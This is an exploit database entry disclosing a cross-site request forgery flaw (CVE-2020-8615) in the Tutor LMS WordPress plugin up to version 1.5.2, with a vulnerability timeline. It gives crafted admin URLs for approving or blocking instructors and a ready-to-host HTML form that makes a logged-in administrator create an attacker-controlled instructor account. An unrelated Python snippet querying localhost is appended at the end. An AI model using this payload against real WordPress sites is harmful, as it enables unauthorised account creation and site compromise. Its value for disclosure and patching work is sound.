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"Wordpress Plugin Tutor LMS 1.5.3 - Cross-Site Request Forgery (Add User)"

Author

Exploit author

"Jinson Varghese Behanan"

Platform

Exploit platform

php

Release date

Exploit published date

2020-03-02

Download file

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# Exploit Title: Wordpress Plugin Tutor LMS 1.5.3 - Cross-Site Request Forgery (Add User)
# Date: 2020-01-30
# Vendor Homepage: https://www.themeum.com/product/tutor-lms/
# Vendor Changelog: https://wordpress.org/plugins/tutor/#developers
# Exploit Author: Jinson Varghese Behanan
# Author Advisory: https://www.getastra.com/blog/911/plugin-exploit/cross-site-request-forgery-in-tutor-lms-plugin/
# Author Homepage: https://www.jinsonvarghese.com
# Version: 1.5.2 and below
# CVE : CVE-2020-8615

# 1. Description

# The Tutor LMS WordPress plugin is a feature-packed plugin that enables users to create and sell courses. 
# An attacker can use CSRF to register themselves as an instructor or block other legit instructors. 
# Consequently, if the option to create courses without admin approval is enabled on the plugin’s settings 
# page, the attacker will be able to create courses directly as well. All WordPress websites 
# using Tutor LMS version 1.5.2 and below are affected.

# 2. Proof of Concept

# As the requests for the approval and blocking of instructors are sent using the GET method, the CSRF 
# attack to approve an attacker-controlled instructor account can be performed by having the admin 
# visit https://TARGET/wp-admin/admin.php?page=tutor-instructors&action=approve&instructor=8 directly, 
# after retrieving the instructor ID during the registration process. An approved instructor can also be blocked 
# by directing the admin to visit https://TARGET/wp-admin/admin.php?page=tutor-instructors&action=blocked&instructor=7.

# CSRF attack can also be performed on the form present at https://TARGET/wp-admin/admin.php?page=tutor-instructors&sub_page=add_new_instructor 
# in order to have the admin add an instructor account for the attacker, thus bypassing the requirement for approval. 
# This can be done by tricking the admin to submit the below-given web form as a POST request. For example, if the web form is 
# hosted on an attacker-controlled domain https://attacker.com/csrf.html, an admin who is logged in at https://TARGET can 
# be tricked into visiting the link and triggering the request to add an instructor.

<html>
	<body>
		<script>history.pushState('', '', '/')</script>
		<form action="https://TARGET/wp-admin/admin-ajax.php" method="POST">
			<input type="hidden" name="action" value="add&#95;new&#95;instructor" />
			<input type="hidden" name="first&#95;name" value="John" />
			<input type="hidden" name="last&#95;name" value="Doe" />
			<input type="hidden" name="user&#95;login" value="jd_instructor" />
			<input type="hidden" name="email" value="jd@TARGET" />
			<input type="hidden" name="phone&#95;number" value="1231231231" />
			<input type="hidden" name="password" value="Pa&#36;&#36;w0rd&#33;" /> 
			<input type="hidden" name="password&#95;confirmation" value="Pa&#36;&#36;w0rd&#33;" />
			<input type="hidden" name="tutor&#95;profile&#95;bio" value="Et&#32;tempore&#32;culpa&#32;n" />
			<input type="hidden" name="action" value="tutor&#95;add&#95;instructor" /> 
			<input type="submit" value="Submit request" />
		</form> 
	</body>
</html>

3. Timeline

Vulnerability reported to the Tutor LMS team – January 30, 2020.
Tutor LMS version 1.5.3 containing the fix released – February 4, 2020.
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import requests
response = requests.get('http://127.0.0.1:8181?format=json')

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